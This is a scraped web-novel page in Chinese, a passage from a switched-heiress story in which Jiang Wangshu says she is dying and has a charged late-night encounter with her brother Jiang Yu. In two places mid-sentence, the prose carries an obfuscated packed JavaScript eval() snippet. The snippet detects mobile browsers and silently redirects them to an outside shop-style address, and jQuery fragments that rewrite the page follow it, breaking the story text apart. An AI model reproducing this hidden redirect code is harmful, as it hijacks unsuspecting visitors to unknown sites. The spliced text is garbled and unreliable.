;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938312|147224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车辆都找不到。 妹妹被下了无数次病危通知书,医生都要放弃了,父母却坚决不同意,然后就是钱流水一样花出去,才终于勉强保住了命。 这时候,她安静的躺在床上,一动不动,脸颊彻底瘦下去,仿佛瘦得只剩一把骨头,轻轻一碰,就要碎了。 看着妹妹安静的睡颜,宋梨若突然就想到了江望舒。 难怪她第一眼就觉得这个女孩子面善,原来,她和母亲还有妹妹都有点像。 都是漂亮的圆眼,明媚的长相,笑起来仿佛停驻在阳光里头。 原来她们,才是一家人啊…… 她心里有点难过,又好奇,江望舒现在是什么心情。 就算成长的环境完全不一样,她也自然而然的觉得,那个叫她觉得亲切的漂亮女孩子,应该跟现在的自己有类似的心情。 然后,她给江望舒打了个电话。 电话接通,一阵沉默,电话两端,只能听到很轻的呼吸声。 还是江望舒那边先开的口:“你……江屿都给你说了?” “嗯。” “妈妈……楚女士,是一位非常优秀的母亲,你们肯定能相处得很好的,还有江屿,别看他又冷又酷,其实很宠妹妹,没有底线的那种宠,到时候你跟他要什么,只要撒撒娇,他肯定会给。”江望舒说。 “我妈也特别好,她脾气软,但是宠孩子,你……跟她有点像,我爸人也好,也宠我,比我妈对我还没原则,还有我妹妹,她特别可爱,叫起姐姐心都能化掉,我……”说着说着,宋梨若就哽咽起来。 她觉得自己没有江望舒那么大方,根本不可能那么慷慨大度就让出自己的亲人,然后自己变成一个不相干的外人。 她压根就做不到。 那个千金大小姐,凭什么可以那么豁达呢! 江望舒的声音还是那么轻柔和缓,水一样:“妈妈说了,既然碰到这种事情,就是个缘分,就算你回来,依然也还是那边的女儿,这个关系,剪不断也变不了。” 宋梨若就哭得更厉害了。 她其实是个特别不喜欢哭的人,妹妹出事的时候,她躲在被窝里红了一会儿眼睛,后面就再也没哭过。 可是现在,眼泪好像被打开的水龙头,怎么都停不住。 “我不会跟你抢他们,”江望舒的声音忽然就低了下去,“你不用担心的。” 这话一出,宋梨若又不高兴了:“你是嫌弃我爸妈?他们是没有江家有钱,但是……” “不是,”江望舒很轻的打断她的话,“我不是嫌弃,但是,我快要死了,要死的人,谁都抢不走。” 20. 第 20 章 第20章 第20章 江望舒从来就不是个慷慨大度的人。 打小她就小心眼,还虚荣,后面有几年,她和楚媛关系好了,巴不得妈妈的关注全在自己身上,至于江屿,那就是个给自己背锅的工具人。 可是在外头,对于江屿只宠她一个,她又得意得不得了,经常借此骗吃骗喝,就算曝光到江屿那里,她都一点不带心虚的。 分明就是个恃宠而骄的大小姐,无忧无虑,横行霸道。 她才舍不得把自己的妈妈和哥哥让出去,就算是那个只会给钱的爸爸也一样。 那种恶毒女配的不甘心态,她现在其实特别理解。 可惜,留给她发挥的空间,实在不大。 总要有命在,才恶毒得起来啊! 再说了,她打从一开始就挺喜欢宋梨若的,看着就觉得亲切,跟失散多年的姐妹一样,也实在使不出什么恶毒的招数来。 既然如此,倒不如大大方方的放手,留一个漂亮的离场姿态。 可是想起刚才那通电话,她又忿忿捶床。 江望舒跟宋梨若说自己要死了,这还是她第一次跟人吐露这个秘密,可惜,对方不相信。 也是,她要听人这么说,第一反应也是不相信。 骄傲的大小姐突然变成冒牌货,发发疯,胡言乱语一通,好像也正常。 顺便还能被扣上嫌贫爱富,不认亲妈的名头,多么顺理成章。 宋梨若可以坦坦荡荡表示不爽的情绪,她呢?明明酸得要死,委屈得要死,还要装成温柔大度慷慨豁达,可真累得慌! 累得大小姐特别想摆烂。 退场退得再潇洒又怎么样?人都死了,过几年就被忘得精光了。 到时候,说不定连她的名字,人家都要想一会儿才能想起来。 这么一想,她鼻子又酸了,还很气。 生了一会儿闷气,口又渴了,她爬起来,一口气灌了一杯水下去,还是不过瘾,干脆下了楼,准备喝点冰的冷静冷静。 宅子里很安静,楼下的大灯已经熄了,只有一盏壁灯,幽幽亮着光。 江望舒踩着毛茸茸的拖鞋,懒得开那边的大灯,就这么摸黑走到冰箱跟前,拉开,找冰块。 就在她东翻西找的时候,身后忽然传来个声音:“你在找什么?” 江望舒被吓了一跳,回头,借着冰箱打开发出的光才看清,江屿正坐在旁边的吧台前,手里拿着一杯红酒,大约是用来助眠的。 他身材高大,即便半在那里,在沉默的暗影里,看起来也像是一只蛰伏的猛兽,带着危险的气息。 “我……我找点喝的。”江望舒结结巴巴的说,带着点心有余悸。 “又想嚼冰块了?”对江望舒这个坏习惯,他也很清楚。 江望舒抿抿嘴,没说话。 江屿摇着红酒杯,莫名看起来心情不错:“听母亲说,你同意和贺云平退婚了?” “本来就没什么意义的事,”江望舒终于找到了冰块,夹了几块在杯子里,听令哐啷响,又倒半杯气泡水,咕噜噜喝下去,最后再含一块冰,咯吱乱嚼一通,终于爽了,“再说,现在这种乱七八糟的情况,贺家也不一定乐意继续。” 江屿原本一直半端着酒杯,看江望舒,听到最后这句话,他突然放下红酒杯,站起来,转身去开了灯,明亮的大灯亮起来,江望舒下意识的眯了眯眼。 江屿又走过来,伸手关了冰箱门,手抵着门,也不急着离开,反而低头仔细去看江望舒的脸:“所以,你还是舍不得?” 他本来就比江望舒高了将近一个头,黑沉沉的罩过来,压迫感十足。 江望舒想退却退无可退,她身后是冰箱门,再往前一丁点,仿佛又能闻到那股馥郁的酒香,幽幽暗暗的,却又隐约透着强势霸道。 她一时被吓住了。 眼前的江屿,仿佛突然变了一个人,不再是那个她怎么撒娇都愿意容忍的好哥哥。 没等到江望舒回答,江屿眼神一暗,收回手,站直身体。 两个人之间的距离,极快接近又被迅速拉开,酒香侵袭又远去,江屿的神情重新变得冷淡:“要是担心贺家对你不满意,去跟母亲说,她总会给你撑腰的。” 他转头准备走。 江屿最近好像总奇奇怪怪的。 不过现在,她懒得思考这些问题。 压迫感刚一消失,江望舒又放纵起来。 骄纵任性的大小姐,装腻了。 人家有妹妹撒娇,她也一样有哥哥,可以让她尽情撒娇耍赖的,她伤心的时候,不被好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13947289|147224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的哄一通,也是好不了的。 江望舒马上红了眼眶,可怜兮兮的看江屿:“贺家又不重要,我舍不得的,明明是你和妈妈。” 从真假千金的事情被揭开以后,她始终都是稳重的,识大体,知进退,持重得不得了,但是现在,她不想忍了。 果然撒娇任性,才是她的舒适圈。 憋了好久的话,刚一说出来,她就觉得心里舒服多了。 江屿离开的脚步果然停下,回头看她,黑眸深沉,其下波流涌动。 江望舒又伸手,轻轻拉了拉江屿的衣角:“哥,我现在心里很难受,怕你们不要我,又怕你们觉得我不懂事。” 少女小脸惨白,眼神柔软,乌黑的发丝蓬乱的落在肩上,更显得可怜。 “我刚做了个噩梦,你们都不要我了。”她仰着头,看江屿,细白的脖颈毫无防备的展露出来,还有精致如一湾浅月的锁骨。 江屿沉默地盯着她看,她也看回去,眼眶泛红,眼底蕴着泪。 每次她一装可怜,江屿就一点办法都没有,只能乖乖投降,过来哄她。 这次原本也该这样。 可是过了好几秒,江屿还是一动不动,仿佛僵硬在那里。 就在江望舒放弃,觉得他现在可能不吃这套的时候,酒香和灼热的体温,一瞬间拢了过来。 江望舒吓了一跳。 兄妹俩长大以后,其实很久没这么紧密的挨在一起过了。 记忆里的江屿还是单薄的少年体型,可是现在,已经完全变成了一个成年男人,胸很宽,肌肉结实,力气很大。 带着强烈的侵略感。 那种尴尬不安又奇怪的感觉再次上来,江望舒下意识想躲开。 但是动不了。 她被紧紧的压在江屿的胸口,甚至能听到对方的心跳。 强硬,有力,急促。 连带着她的心跳也跟着快起来。 江屿低下头,在她耳朵边上低声说:“不要害怕,我不会让你离开。” 他的手指插进江望舒的发间,柔软的发丝纠缠着修长的手指,无比暧昧。 彼此间的距离更近,酒香更迫。 “你绝不会离开这个家。”他再次肯定的说。 气息灼热而深沉。